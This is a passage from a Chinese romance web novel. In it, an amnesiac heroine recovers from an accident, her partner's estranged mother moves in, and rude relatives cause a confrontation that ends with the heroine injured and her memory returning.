顾临跟在他身后,紧追着,“应该不是温疏亦,就是一个各方面都巧合的人,你别紧张啊,也别激动,这天底下相似的人,多了去了。” 华河边已经拉好了警戒线。 盛珽妄站在警戒线外停了下来。 面对敌人的枪口时。 他尚且没有丝毫的惧怕。 面对爱人的生死的时候,恐惧感,窒息感,让他的脚底如同生了根一般。 “要不,我先过去看看吧。”顾临说。 “一起吧。” 走进警戒线里。 那具尸体已经盖上了白布,躺在那里,等候着前来的家属指认。 在盛珽妄伸手要掀布的时候。 顾临握住了他的手腕。 “我是医生,见多了死人,还是我先看一眼吧。” “我也没少见死人。”盛珽妄想自己亲眼看。 哪怕躺在这儿的真的是温疏亦。 他也认了。 在盛珽妄再次伸出指尖时,有警察的声音过来,“你是死者的家属吗?” 盛珽妄直身,转头望了过去。 “抱歉,我还没有看到人的样子,无法确定。” “那就先看一眼,如果是家人的话,就赶紧领回去,死因还需要调查。” 盛珽妄点头,“好。” 布最终是掀开了。 人已经跑得无法辨认。 盛珽妄的心碎了,扑通一下跪到了死者的面前。 眼泪哗哗的掉。 顾临心里也不好受。 几天前,还好好的人,怎么就…… 警察走过来,拍了拍盛珽妄的肩,“节哀吧,这想死的人啊,你是拉不住的,你是她的……?” “丈夫。” “行,你过来拿一下她的遗物吧。” 盛珽妄跟着警察去拿东西。 顾临赶紧将人又盖了起来。 “你也别太难过了,她死啊,对亲人来说是折磨,对她自己来说或许就是解脱,你将人带回去,好好地安葬,尽到心意就行了。” 警察大概是见惯了生离死别。 平静的话里,没有多少情感。 他拿过一个透明的袋子,将里面的身份证先拿了过来,“你看一眼,身份信息,没问题的话,把这个签一下,人,你就可以带走了。” 盛珽妄擦了把眼角的泪。 将身份证拿了过来辨认…… 第72章 是亲老婆吗 “朱……朱雪?”盛珽妄结巴了。 警察抬眉看了他一眼,“对啊,你老婆叫什么也记不住了?” “不,不是,她不是我老婆。” 警察:……??? “我是说,那个死者不是我老婆,我老婆没死,我老婆不叫朱雪,她叫温疏亦,那人,不是……” 盛珽妄笑了。 眼泪没有停。 那具尸体,不是温疏亦。 温疏亦没死。 顾临跑过来,以为盛珽妄疯了,忙跟警察解释,“他可能受不了这个打击,你别在意。” “那这个朱雪到底是不是他老婆?” 顾临:……朱雪? 朱雪是谁? “他老婆叫……温疏亦啊。” 警察无语,“不是他老婆,他在这儿哭得劲劲的,自己老婆长什么样都不知道了?是亲老婆吗?” 顾临皱起脸。 这人泡成那样。 认错也正常啊。 “是,是,他认错人了,不好意思,我们马上就走。” 顾临把盛珽妄带离了现场。 虽然,死者不是温疏亦是一件幸事。 但人呢? 张纶打来电话,盛珽妄立马接起,“说。” “三爷,我们找到温小姐了,您马上过来吧。” “知道了。” 温疏亦找到了。 在一个桥洞子底下。 她也不是故意躲到桥洞子底下的,是轮椅不小心翻了,人也跟着跌到了下面。 她尝试着要爬上来的。 根本不行。 这个地方偏僻的又没有人经过。 这一呆就三天。 又饿,又冷。 张纶找到她时,人都昏迷了。 医院里。 盛珽妄寸步不离在温疏亦的病床前。 他很自责。 如果那天,他不是因为去处理公司里的紧急事务,接她晚了。 也不至于让李江衍跟她说那么多有的没的,刺激到她。 李江衍也没有好过到哪里去。 站在病房外面。 他眼红地冒血,却没有脸进去。 如果不是他,温疏亦也不会这样。 李穗安轻轻地叫走了他,“哥,你别自责了,事情已经发生了,以后,她的事情,你少掺和就行了。” “穗安,你不懂。”他神色苦痛。 李穗安怎么会不懂。 无非就是他心有不甘罢了。 “哥,我懂,你就是心里还没有放下疏亦,可她心里没你,明显就是……还有盛珽妄,你就算把她所有不记得的事情告诉她,她就能选择你吗?不会的哥,你醒醒吧。” 再这样执着下去。 错事一件接着一件。 李江衍也别做医生了。 “哥,你听我的,就把温疏亦交给盛珽妄吧,他们成也好,不成也罢,都是他们的事情,你好好工作,有时间呢,多陪陪大伯大娘,爱情这种东西,真的……” 还是不要碰了。 哪个碰过爱情的,有好下场了? “行吗哥,算我求你了。” 李江衍没说话。 指尖蜷起,深陷掌心。 李穗安也不知道他是听进去了,还是没听进去。 病房里。 温疏亦醒了。 第一眼,她看到了盛珽妄。 虽然她的记忆还没有恢复,但她对他的感觉,完全是天翻地覆。 他不再是收养她的好心人。 而是一个要加害弟弟的坏人。 看向她的眼神,没了以往的单纯和依赖。 取而代之的是猜忌,怀疑和忿恨。 “你醒了?”他很温柔,如同平时一样,抬手摸了摸她的头发,“怎么这样看我,是不是记起什么了?” “是。” 温疏亦学聪明了。 她知道,盛珽妄在知道自己恢复了记忆的情况下,会有什么想要解释的。 “记起什么了?”他问。 温疏亦平静如湖地看着他,一字一顿地,“记起了很多。” “对不起疏亦,因为我,让你受了这么大的伤害,我保证……”他虔诚地看着她的眼睛,“……我保证以后,绝不会再让你受一丁点的伤害,你相信我。” 温疏亦的睫毛微微颤动着。 原来。 她受的这些病苦,都是他造成的。 因为事? 还是因为情? 所以……他对她好,不是因为他人好,是因为他在弥补自己的过错。 温疏亦心,凉透了。 她没说话。 就那样面无表情的看着盛珽妄。 他紧紧地握着她的手,像在求得她的原谅,“疏亦,我答应你,我会给乔深把病治好,我们和好吧,好吗?” 他再也无法承受她的离开。 这么多年。 他和她就像走逆了的时针。 总是向着不同的方向。 一次次的意外,让他明白了太多事情。 “疏亦,好吗?” 温疏亦:……和好? 所以……他们以前的关系是……? “为什么要和好?” “因为我……” 他想说,他爱她。 从未停止过爱她。 温疏亦眸冷,声音更冷,“你是不是忘了,你曾经对我做过什么了?” 盛珽妄望向她的眼神,充满了愧疚。 “我保证以后,绝不……” “盛珽妄,你别保证了,你的保证值几个钱。”温疏亦淡淡的收回视线,虽然她什么也没记起来,但演得挺像那么回事,“我根本就不稀罕。” 盛珽妄无话可说。 他的保证,她不信,那他只能好好表现。 除此别无他法。 要说让他放弃。 绝不。 “好了,先不说了这个,你先好好休息,哆哆也想妈妈了,一会儿我回家接他过来看你,他要知道你记得他了,会很开心的。” 温疏亦脑子里的信息虽然很乱。 但她通过外界的信息,把她和每个人的关系,基本都捋顺清楚了。 她感觉自己要精分了。 顾临办公室里。 “你说什么?温疏亦可能……恢复记忆了?” 按理说,没有经过撞击,也没有吃什么神药的情况下。 完全恢复记忆的可能,不太大。 顾临持怀疑态度,“我怎么这么不信呢?盛珽妄,她不会是在骗你吧?” “无所谓。”盛珽妄不介意,“如果说她真的在骗我,就证明,她在乎我不是吗?” 顾临拍脑门。 他觉得盛珽妄已经病入膏肓了。 “她骗你,只能说明,她想知道更多,她脑子里暂时丢掉的那些记忆,她在乎你什么呀?” 自作多情到了这个地步。 顾临有点可怜盛珽妄了。 …… 温疏亦身体恢复后。 就被盛珽妄接回了家照顾。 他给温疏亦换了家康复医院。 每天再忙,也会陪她康复完。 温疏亦发现,不知道什么时候开始,他丢掉了手杖。 但不瘸。 “你这个瘸腿,是装的吧?”她问。 盛珽妄笑笑,“我没说过我瘸啊。” “那你既然不瘸,为什么要拄个手杖呢?武器?还是说,这条手杖里,有什么秘密?有存折啊?” 他唇上依然是淡而温和的弧度,“习惯了。” 温疏亦:……习惯了? 第73章 他是随了儿子姓 她第一次听说拄拐,有拄习惯的。 “那你每天都在掩人耳目,挺累的吧?” 盛珽妄看着女孩一知半解的眼睛。 细想来。 他从未跟温疏亦聊过,他以前扛枪打杖的事情。 更没提过,他是如何从死人堆里被挖出来,救回一条命。 他想给她的,是阳光的,明媚的。 而不是那些血腥的,扭曲的,甚至是令人恶心的。 他转移的话题,“晚上,我请了中医为你针灸,这样,会好得快一些。” “你这样帮我,为了还人情债?那你得量力而行,我可没钱还你。” “不需要你还钱。”他笑着,像说了句玩笑话似的,“嫁给我就行。” 温疏亦唇角咧了咧。 搁这儿等着她呢。 “你想多了,就这点钱,还不至于把我自己卖了。”她想了想,说,“就当是把以前的账抵消了吧,我们两不相欠。” 他笑了。 温疏亦这副什么都不记得,又愣装记得的模样,真的挺可爱的。 “行,听你的。” “盛珽妄,我弟弟被电击治疗,什么时候结束,你不觉得,这样对他太残忍了?” 盛珽妄不但没觉得残忍。 甚至觉得,这一步棋走对了。 “如果我告诉你,他因为这样的治疗,智力方面恢复了一大截,你觉得,还残忍吗?” 温疏亦不解。 真的这样的疗效? “他不是做过手术了吗?手术的效果,没有这种治疗效果好吗?” “只能说,针对的方向不同,效果就会不一样。”盛珽妄很认真的跟她解释,“乔深的自闭症,是后天形成的,比起那些先天的,治疗起来要容易很多,他更多的是需要心理上的疏导,电击也好,别的什么也罢,对他脑部的恢复,只有好处没有坏处。” 他握住了温疏亦的手。 他希望她能相信他。 “我不会做伤害你和你家人的事情,自始至终,我做的事情,对你来说,对也好,错也罢,出发点都是好的,疏亦,我爱你,你明白吗?” 温疏亦:…… 这又在乱表什么白。 她不适的将小手抽了回来,尴尬地撩了下碎发,“说事就说事,爱什么爱的,这么爱表白,以为女人都吃这一套?” “那你吃不吃这一套?”他笑得眼睛都弯了。 温疏亦承认,这一瞬间,她花痴了。 她这个人失忆归失忆。 喜欢好看男人的本性没变。 也不是所有好看的男人,她都喜欢。 盛珽妄算是长在了她的审美点上。 “我觉得吧。”温疏亦清了清嗓子,煞有介事地说,“男人好看了,就会不中用,绣花枕头你知道的吧?空心。” 盛珽妄噗嗤笑了。 抬手捏了捏温疏亦的鼻头,宠溺地说,“你是忘了什么感觉了是吧?” “我……” 她确实没有记忆。 但是这个男人看起来,像是挺强的样子。 应该不是绣花枕头。 呸呸呸。 他是不是的,跟自己有什么关系。 她这个大黄丫头,怎么老想这些东西。 “盛珽妄,我们能不能聊个健康一点的话题,比如说,哪种食物比较养生啊,什么东西吃了,可以让我的腰恢复得更好之类的。” 温疏亦脸上的红,还没有褪掉。 眼神有些飘忽,没敢与盛珽妄对视。 男人抬手揉了揉她的头顶,“你放心,你现在吃的所有有助于恢复的药也好,保健品也好,都是最好的。” “那……谢谢了。” …… 几个月后。 温疏亦已经走得不错了。 但不能长时间。 对于她来说,扔掉轮椅,扔掉拐杖,是一件天大的喜事。 她跑到厨房跟王婶说,“王婶,你今天做点好的吧,我想庆祝一下。” “小温,你现在身体越来越好,三爷脸上的笑也多了起来,你要是什么时候能把记忆恢复了,那就更好了。” 温疏亦不知道,自己什么时候能恢复记忆。 她现在适应了自己的年纪。 也适应了,有一个儿子叫哆哆。 至于与盛珽妄的关系。 她更像一个租客。 相敬如宾,规言矩步。 多一个让人误会的动作都没有。 “王婶,你觉得盛珽妄这个人怎么样啊?” 王婶笑着说,“三爷挺好的,没什么脾气,还特别大方,对我们这些做工的,很照顾的。” “你没觉得他这个人很不诚实吗?” 王婶收住笑意,问,“哪里不诚实了?” “他之前告诉我,他叫陆稷,其实他叫盛珽妄,你说,他连名字都跟我说假的,能是个诚实的人吗?” 王婶哦了一声。 淡淡的解释道,“我听顾医生说过,三爷的原来的名字叫陆稷,后来被盛家收养了,才改了名字的,他没有骗你啊,只是你不知道而已。” 温疏亦:…… 她好像明白了。 哆哆叫陆乔年。 她还以为,他是随了儿子姓呢。 弄半天,他原来就姓陆啊。 温疏亦还想问些什么。 门被敲响了。 王婶擦了把手,去开门。 看到门站着的妇人。 她一时错愕,“你找哪位?” “我找陆稷,他在吗?” 温疏亦抻过脖子,看向门口。 一个打扮得很朴素的中年妇人,朴素的……有点寒酸,上衣应该是在地摊上买的,二三十块的质的,裤子很干净,却也洗得泛了白,脚上的黑色皮鞋,年头不短了。 唯独头发梳得十分整齐,保留了基本上体面。 是盛珽妄的亲戚吗? 王婶忙问,“你找我们先生,是有什么事情吗?他现在还没有回来。” “那我能进去等他吗?”女人有一些局促和拘谨的自报家门,“我叫汤凤玉是,我是他的母亲。” 温疏亦:……母亲? 王婶拿不准,回头看向温疏亦。 温疏亦哪里敢做这个主。 便说,“王婶,要不,你给盛珽妄打个电话吧,咱们又不是这个家的人,随便放个外人进来,出了问题,可负不起责任。” 王婶觉得有道理。 忙掏出手机给盛珽妄打了个电话。 汤凤玉规矩地站在门口。 等王婶打完电话后,她才谨慎地动唇问,“他说,可以吗?” “三爷说,你可以进来等,但请您不要随意走动。”王婶打开了门,递上了客人才穿的拖鞋,“先把鞋子换了吧。” 妇人点头。 换好鞋子,她走向了客厅。 温疏亦扒着门边,偷偷地打量着这个,还不算年纪太大的女人。 这就是盛珽妄的亲生母亲? “嘶。” 指尖不知道被什么东西,电了一下。 这电流不大,但从头灌到脚。 温疏亦的脑海里掠过一些似曾相识的字幕。 妈妈? 私奔? 第74章 脸红什么 温疏亦记起来了。 盛珽妄的母亲,在他很小的时候,跟别的男人私奔了。 那时他的父亲还没有牺牲。 从离开后,就一直没有再回来看过盛珽妄。 这怎么突然……找上门来了? “你是温疏亦吧?”汤凤玉直呼了温疏亦的名字。 躲在门边的女人,不得已地走了出来,“你怎么知道,我叫温疏亦?” 汤凤玉笑笑没回答。 “我听说你前段时间出了车祸,现在身体恢复得怎么样了?” 温疏亦:……她怎么知道这么多。 “哦,恢复得还挺好的。” “过来坐。”汤凤玉面色温和。 仔细看来,盛珽妄的长相里,有女人的影子。 年轻的时候,应该是个美人来着。 “哦。”温疏亦很乖巧地,走到女人的对面坐了下来。 汤凤玉细细地打量着她。 温疏亦的年纪也不小了。 但她的皮肤过于细嫩,反而像个未经事的大学生。 “阿稷对你还好吧?” 温疏亦微愣,“他?我们不是夫妻,你是不是搞错了?” “孩子都生了,不是夫妻跟夫妻也差不多。”汤凤玉微微笑着。 温疏亦没想起这一段。 总觉得自己当初的决定,有点荒谬。 也许是看上盛珽妄的基因了吧。 才未婚生子。 “我的事情,你应该听说过一些了吧?” 温疏亦一怔,“啊?” “我其实……和阿稷,已经有二十多年没见过了。”汤凤玉的声音里,有对儿子的愧疚,“我今天过来,也是因为走投无路了。” 温疏亦哦了一声。 看起来,像是遇到了难处。 但是…… 当年她扔下盛珽妄离开时,他还那么小,正是需要母亲的时候。 她丝毫没有考虑到这个儿子,以后成长中遇到的问题。 不得见,盛珽妄就能平静地接受,这个母亲的回归。 温疏亦不知道该说什么。 汤凤玉尴尬地扯了扯唇,“不瞒你说,这二十多年,我晚上做梦,梦到最多的就是我的儿子,你看……” 她从包里拿出一件带着五角星的牛仔上衣。 “他好喜欢的,我买了,可是没有机会给他,这么多年,我一直保留着。” 温疏亦看着这件衣服。 突然有一些心酸。 当年的盛珽妄,也不过是哆哆这样的年纪吧。 既然买了,就找个机会,送出去。 也许,小小的盛珽妄,心里也不会那么难过。 这个时候。 门开了。 盛珽妄走了进来。 王婶快步迎上去,接过他的大衣,“三爷,有一个自称是您母亲的人来了,就在客厅里呢,小温她在陪着说话。” 盛珽妄没说话。 唇角绷得越发的紧了一些。 温疏亦看到盛珽妄走过来,赶紧起了身,“你们母子聊聊吧,我就先回避了。” 她要走。 盛珽妄扣住了她的手腕,“不用回避。” 温疏亦被摁下了。 挺尴尬的。 忙拿手机,找了款小游戏玩了起来,以降低存在感。 “阿稷,这么多年过去了,你还在恨妈妈吗?”汤凤玉有一些激动,她眼眸微颤着,想要靠近,却又害怕靠近地望向盛珽妄,“阿稷,妈妈真的很想你,真的很想你。” “想我?”盛珽妄像听了什么好笑的事情般,唇角冷起一抹嘲弄,“是从那个男人死后,开始想我的?还是从自己被那家人赶出来后,想我的?” 女人被问住了。 羞愧地垂下了脑袋。 “你还在恨我是吗?” 盛珽妄轻笑,掺着苦涩,“我不应该恨你吗?” “可当年,当年我……” 她想解释些什么,却发现,无论哪种解释,都好像站不住脚。 最终放弃了,为自己当初犯的错找借口。 “……不管怎么说,当年我不应该那样的一走了之,我真的没有想到,后来你爸他……” 陆师白在她离开的三年后。 人也牺牲了。 这是她没有预料到的事情。 “够了,你是觉得我爸还活着,我有人养活,你就可以放心的跟别的男人走?你是个母亲,你为了所谓的爱情,把自己的亲生孩子扔下,你就该在我的世界,彻底消失。” 盛珽妄激动了。 紧握着沙发扶手的指尖,不住地颤抖。 温疏亦急忙放下手机,握住了他的手,“别激动,慢慢说。” “可我是你的母亲,就算你不认,也改变不了我们的关系。”汤凤玉眼眶酸了,不停地掉泪,“我现在无处可以去,我只能来找你,阿稷,就收留妈妈吧,好吗?” 盛珽妄刚要动唇拒绝。 被温疏亦捂住了嘴,她皮笑肉不笑地跟汤凤玉说,“阿姨,让他考虑一下吧,你别逼得太紧了,王婶,你给汤阿姨,准备一间客房,让她先休息一下。” 王婶立马应下,“好的。” 温疏亦牵着盛珽妄的手,回了卧室。 男人的脸色难看得厉害。 眼圈也红红的。 她也是从小失去父母的人,她太知道,这种童年的缺失,会让人这一辈子心里都有结。 “很难过是吗?” 她轻轻地将他的脑袋,搁在了自己的胸口,“想要哭的话,就哭吧,我保证不笑话你。” 盛珽妄没说话。 大手紧紧地,抱住了她的腰。 “陆稷,我知道你心里很纠结,一方面你想原谅她,一方面你又找不到原谅她的理由,你无法说服自己,也觉得对自己的父亲没法交代,对吗?” “可是,你有没有想过,如果你的父亲还活在世上的话,他能眼睁睁地看着你母亲,流离失所?” “我觉得,你冷静一下,再做出决定,她虽然当初跟着爱情跑了,但这份爱情是苦是甜,她现在应该已经有结论,我想,她是后悔的,不如,就给她一个知错就改的机会,好不好?” 盛珽妄依旧没有说话。 温疏亦轻轻地揉了揉,他浓密的头发,“给我个面子,看她表现,如果她表现得不好,再让她走。” 许久。 他在从她的心口位置,抬起脸来,“你要知道,她可是个大麻烦。” “不管有多麻烦,她都这个岁数了,给她一个遮风避雨的地方,也算是给你自己一个交代不是吗?” 温疏亦没了父母。 她是真的不想,让还有母亲的盛珽妄,留什么遗憾。 就算以后,有了麻烦,那就处理麻烦。 盛珽妄唇角有了笑意。 “温疏亦,你挺适合当一个妻子的。”他和她领证,是做得最正确的一件事情,“不,是适合当我的妻子。” “你想的美。” 温疏亦赤红着耳朵,推开了盛珽妄。 她倒觉得自己,挺适合当心理师的,专门开导人。 他笑着,握住她的腰,又将她搂了过来,“脸红什么?” 第75章 只肯让她生孩子,不肯给名分 “我,我不是脸红,我是热,热而已。”温疏亦结结巴巴地解释着。 他脸上的笑容越发地蛊惑人心。 大手摁着她纤薄的背,仰着脸与她接吻。 温疏亦以为自己会拒绝的。 在他的唇粘上来的时候,她竟然鬼使神差的,搂上了他的脖子。 动作自然到,好像这样的事情,他们已经做过无数次。 意识到不对劲,想要拒绝时。 已经无法。 …… 汤凤玉起初在家里住的时候,很安静。 还会帮着王婶干一些家务。 虽然与盛珽妄不怎么交谈,但会跟温疏亦聊天。 差不多半个月后。 盛珽妄所说的大麻烦来了。 家里陆续来了几波,所谓的亲戚。 温疏亦复健回来时。 这帮亲戚,已经把客厅的地面上,全磕满了瓜子皮。 汤凤玉倒也没有闲着,一直在打扫,但就是不说,让这帮亲戚赶紧走。 温疏亦和盛珽妄的关系,连男女朋友都算不上。 她不好说什么。 王婶一肚子不满地抱怨,“他们可能吃了,你知道吗?家里的面条,十斤,整整十斤,全下了,不够。” 温疏亦:…… “而且,你知道吗?他们配的海参吃的,一个人,三四根海参呢,把三爷给您买的那些上等的海参吃了一半了都,气死我了,拦都拦不住,三爷回来,我都不知道,该怎么交代。” 王婶揪着围裙发泄怒气。 温疏亦也无可奈何。 好在哆哆跟育儿师们,去做野外拓展。 这要是在家,非把小孩子吓着不可。 看到温疏亦回来。 汤凤玉立马笑着脸,迎了过来,“疏亦啊,这些亲戚都是我娘家的亲戚,就是阿稷他外公外婆那边的亲戚,他们都是农村人,不懂什么规矩,你多多包容。” 温疏亦刚要动唇说,与自己无关时。 有亲戚开了口,“哟,这就是那个没结婚,就给咱家阿稷生孩子的女人吧?要说,现在是开放了啊,这不结婚不领证没名没分的,就生孩子,还住在一起,也是没谁了,不会是贪图我们阿稷的财产吧。” 声音着实有一些尖锐刻薄。 听得温疏亦眉心紧蹙。 她不想跟这帮子人一般见识,眼不见为净。 转身,她准备回房。 汤凤玉一把拉住了她,“疏亦,你过来,我给你介绍一下家里的亲戚。” 没等温疏亦拒绝。 人就被拽到了这些亲戚面前。 大家上下左右地打量着她,从头到脚。 像是在看一件商品,或是……一头待宰的羔羊。 “人长的嘛,还过得去……”一个身材圆胖的女人,走到温疏亦的面前,围着她转了个圈,“……就是这小身子板也太瘦了,咱们家阿稷那身材,那劲头,这小身材,抗得住吗?” “他表舅妈,你说话注意着点,这不是在你们乡下。”汤凤玉急忙制止,有一些不好意思地向温疏亦道歉,“农村人,说话不体面,你别往心里去。” 温疏亦抿紧了唇,决定再忍忍。 “表姐,我说的是实话啊,咱们家阿稷那一表人才的,军功彰那都堆成山了,找这么个小妮子……”女人叹息一口,旋即又笑了,“……怪不得只肯让她生孩子,不肯给名分呢,大概心里也是没瞧上吧。” “别瞎说。” 汤凤玉饶有兴趣地,向温疏亦介绍着这些,不怎么讨人喜欢的亲戚。 温疏亦一只耳朵进,一只耳朵出。 可能她的表情太过于冷漠,显得高傲了一些。 这些穷亲戚不满了。 “你这什么表情啊?我们来的是阿稷的家,不是你的家,你瞅瞅这鼻子不是鼻子,脸不是脸的,阿稷他妈,这幸亏没娶过门啊,要不然,有你受的。” 亲戚那表情。 生怕是挑拨不了婆媳的关系。 另一位亲戚,不甘人后的,接上话头,“凤玉啊,你儿子现在身份矜贵,这选儿媳妇上啊,你可得帮他好好的挑一挑,选一选,别让什么阿猫阿狗的,钻了空子。” “就是,像阿稷这样长得又好,又有钱,又有军功在身上的男人,全华城也找不出来一个,这样的万里挑一的人,那些个名门淑女,还不得上赶着嫁啊,你可要看好门啊。” 亲戚,左一句,右一句。 阴一句,阳一句。 宗旨就一个,看温疏亦左右都不顺眼。 要说不生气也是假的。 他们看自己家的孩子好,她能理解。 但贬低她,这大可不必吧。 “我没有说要嫁给你们家的阿稷,你们别自嗨行吗?” 一群没文化的长舌妇。 温疏亦真的是够了。 “你这个小妮子,长辈说几句,你还不乐意了。”刚刚那个表舅妈,又跳出来冲着温疏亦指指点点的,“不懂礼貌,你父母是怎么教你的?” “我父母怎么教我,与你有关吗?”她不怼她们,是给盛珽妄留面子,不是她好欺负,这还没完没了,“你们是我的谁?有什么资格说我?” 温疏亦不伺候了。 扭头回了房间,把门一摔。 震得地板颤。 汤凤玉紧追了过去,敲了敲门道歉,“疏亦,不好意思啊,你别跟他们一般见识,他们没有别的意思,你别乱想啊,抱歉啊,你别生气了。” “表姐。”表舅妈将汤凤玉拉回了客厅,“你跟她道什么歉啊,你是阿稷他妈,你是婆婆,得拿出婆婆的气势来,你看我们家儿媳妇,我让她上东,她不敢上西,我让她上炕,她不敢拉稀,威严得立住啊,你怎么还讨好她了呢。” “我跟阿稷这么多年未见,这一见面就管他的女人,他会生气的。” 汤凤玉还是会看形势的。 自己家儿子,对这个女人,很喜欢。 捧在心尖上。 都怕飞了。 她哪里敢说什么。 亲戚可不管这些,这村里世世代代,对管教儿媳妇,都有一套一成不变的招数。 下马威。 吓唬住了,那这婆婆一辈子只管坐在炕头上,等着儿媳妇伺候的好日子,就算是来了。 “凤玉,马上要吃晚饭了,让温疏亦赶紧的,给我们做个十菜一汤,少一样都不行,赶紧的,你别怂啊。” 汤凤玉被亲戚推到了温疏亦的门前。 刚要敲门。 门从里面打开了。 温疏亦一怔。 这些人,在她门外…… “你们要干什么?” “正好你出来了,这时间也不早了,赶紧的给我们做晚饭吧,十菜一汤,要有肉有鱼有海鲜,以我们老家的口味为主,不能太咸了也不能太淡了,更不太辣了,你好好表现,兴许,一会儿阿稷回来,我们会帮你说个好话,你也好熬出头。” 温疏亦都快被气笑了。 还真是大言不惭。 当她是老妈子了? 还要十菜一汤。 “我还有事,王婶也请假了,你们自便吧。” 第76章 我有心上人了 温疏亦准备无视这些无理的要求,离开。 结果,没走两步,头发突然被扯住狠狠的一??。 她人本来就瘦,腰也没有恢复得那么好。 这么一拽,整个人失去重心,猛地向后倒了下去。 后脑重重地砸在了地面上,痛感来袭,眼前的事物开始重影,模糊,然后像破掉了的泡沫…… “这小妮子,没想到这么轻,我这还没怎么用力呢,她就摔了。”亲戚没觉得是什么大惊小怪的事儿,“把她扶到房里,一会儿自己就醒了。” “你怎么还动手啊?”汤凤玉吓懵了,哆嗦着摸手机,“赶紧的打120,赶紧的救人啊。” “凤玉,你看你,怕成什么样子了。”亲戚不以为然,大概是在家里打媳妇打惯了,“我家儿媳妇,那头撞在水缸上,也没怎么样,她死不了的。” 汤凤玉跟亲戚讲不通道理。 拿出手机打了急救电话。 …… 盛珽妄赶到医院时。 温疏亦已经醒了。 这次的受伤,对她来说,也算是好事。 头撞到地面的同时,她的记忆恢复了个七七八八。 男人的眼神焦急,心疼,抱歉。 那种想看一下她头上的伤,又怕伤到她的小心翼翼,令温疏亦动容。 她好像没有那么怕盛珽妄。 也没有那么的抗拒他了。 “我没事。”她说。 盛珽妄喉咙咽了咽,转头问向了汤凤玉,“为什么她会受伤?” 汤凤玉想解释。 又好像没的可解释,只能认错,“对不起阿稷,是我的错,我不该……” “知道不该,还要做?”盛珽妄的怒气从低沉的嗓音里出来,像一只要掠食的狮子。 汤凤玉吓的身子一颤。 温疏亦急忙抓住了男人的胳膊,“我说了,我没事。” “头上缠着纱布,你说你没……”盛珽妄看着温疏亦的眼神,愣是把火气压了下去,“……好,你说没事,这事我可以不计较,但是……” “盛珽妄,但是以后的话,咱们出院再说,好吗?” 温疏亦并不想因为自己,让母子发生一些矛盾。 盛珽妄和汤凤玉,如果有什么误会,或是别的,那是她们母子之间的事情。 不能因为她。 如果把她牵扯到其中。 那就是她的罪过。 也是她不能承受的。 盛珽妄没再说下去了。 汤凤玉眼眶明显湿了。 她背过身去,擦了擦眼角,咽下哽咽,“我回家给疏亦熬些汤来。” 汤凤玉离开后。 盛珽妄的脸色,好歹是好了一些。 “这么在乎我?”温疏亦撇嘴,“盛珽妄,你不会是装的吧?” “头不疼了?” 他一副,她在说废话的表情。 温疏亦戚,“这事与你妈的关系不大,不过,你们家亲戚,倒是一个个的,挺难缠的。” “我说了,你把她留下,会有大麻烦。” 现在温疏亦信了。 麻烦是挺大的。 不过她这一摔,也不是坏事。 “你们那些亲戚,说我配不上你,你这样的人,全华城的名门淑媛都上赶着嫁,她们对你可真有信心,你觉得呢,盛先生?” “觉得什么?”他像没事人一样地,拿了苹果慢慢地给温疏亦削皮,“我有心上人了。” “你有心上人了?” 温疏亦在心底骂了句脏话。 有心上人了,那还跟她…… 渣。 渣子。 “你跟以前没两样,还是喜欢吃着碗里的,看着锅里了,说吧,这次又要跟哪家的大小姐联姻?我告诉你啊,这次别把我扯进去,我不想当你们PLAY中的一环。” 盛珽妄笑了。 都二十七八的人了,还单纯得要命。 摇头,“不是什么大小姐,挺命苦的,从小也没有父母,我挺心疼她的。” “你还心疼上别人了?”温疏亦气得吐息都重了,声音压到嗓子眼里,“也没见你心疼过我。” “你说什么?”他抬眸看了她一眼。 温疏亦瞪他,“我说恭喜你。” “那也顺便恭喜一下自己。”他宠溺地笑着,将削好的苹果递给她,“我的心上人,是你。” 温疏亦傻掉了。 他在说什么疯话。 表白? 这算吗? 盛珽妄怎么会表白呢? “吃苹果。”他把苹果往她面前,又递了递。 温疏亦没接。 眼神和表情,都还在错愕中没缓过来。 男人慢条斯理地将苹果收回来,咬了一口,抬手摁住温疏亦的后脑,将苹果直接递到了她的嘴里。 温疏亦被迫咬了一口。 妈蛋的。 这个男人还学会调情了。 脸红得跟烤炉里的番薯似的。 盛珽妄刚要再吻上去,顾临推开了病房的门。 看到这一幕。 他立马捂眼回身,“我没看见啊,你们继续,我等一会儿。” 温疏亦推开盛珽妄。 想找条地缝钻进去。 盛珽妄清了清嗓子,“有事说吧,别搞那一套。” 顾临笑笑。 将检查单子,递给了盛珽妄,“没什么大碍,一点的皮外伤而已,不过这一撞是好事,你……” 顾临看向温疏亦问,“记忆有没有恢复一些?” 温疏亦点头。 能记得的,差不多都想起来了。 “我记起了很多。” “那这也算是因祸得福。”顾临还要告诉她一件好事,“你弟弟的病情,现在也在慢慢好转,不那么傻了,基本的数学题也会做了。” “真的吗?” 温疏亦着急,想去看乔深,被盛珽妄拦下,“别急,他现在是封闭式的治疗,如果你贸然见他,可能会让他的病情反复。” 温疏亦不确定地看向顾临。 他是医生。 她信他。 顾临点头,“珽妄说得没错,治疗是阶段性的,你再等等吧,我想,他会还给你一个惊喜的。” “好。” 三人说话的这功夫。 叶棠推开病房的门,走了进来,“我听说疏亦受伤了,过来看看。” 温疏亦认出了叶棠。 “叶总。” 叶棠惊喜,“你记起我了?” “是啊,我好像好久没有去公司上班了,别开除我行吗?” 叶棠看着温疏亦这副可爱的模样,笑了,“当然不会,希望你康复以后,继续来工作,我期待着呢。” “谢谢叶总。” 顾临拿起病历,对盛珽妄和温疏亦说,“那我就先去忙了,多注意休息。” “嗯。” 叶棠回眸看了顾临一眼。 他现在完全,当她是空气。 心口不免酸涩。 看来,他的心里,真的换了人了。 聊了会儿闲天,叶棠便礼貌告辞。 走出病房,刚好看到顾临从隔壁病房出来。 他不经意抬眸,刚好对上叶棠注视的眸子。 大概有那么两三秒的时间,他便错开眼神,转身走了。 “顾临。”叶棠小跑着追上了他,“我杀你全家了,每次见到我,都跟仇人似的。” “仇人?”顾临合上病例,像听了个笑话,“你有那么重要吗?” “既然没那么重要,何必见了就躲?” 第77章 勾搭我干什么 顾临讥诮的扯唇,“我躲你了吗?我只是跟你无话可说,叶棠,你别总想着,在我这儿找存在感行吗?我是一个有女朋友的人,最起码的道德边界我还是有的。” “你爱她吗?”叶棠不死心地问。 顾临压眉,“这跟你有关系吗?” “你不敢回答吗?” “我为什么要回答你?”顾临不愿回想过去,但她总是这样的咄咄逼人,“你出国离开我的时候,我们已经完蛋了,何必自取其辱呢?” “我出国是追求梦想,顾临,我从未阻止你追求过梦想,为什么我就不能追求我的梦想?” 叶棠漂亮的眼妆底下是疲惫的无奈。 在一段抓都不知道怎么抓的感情面前,她是弱势的。 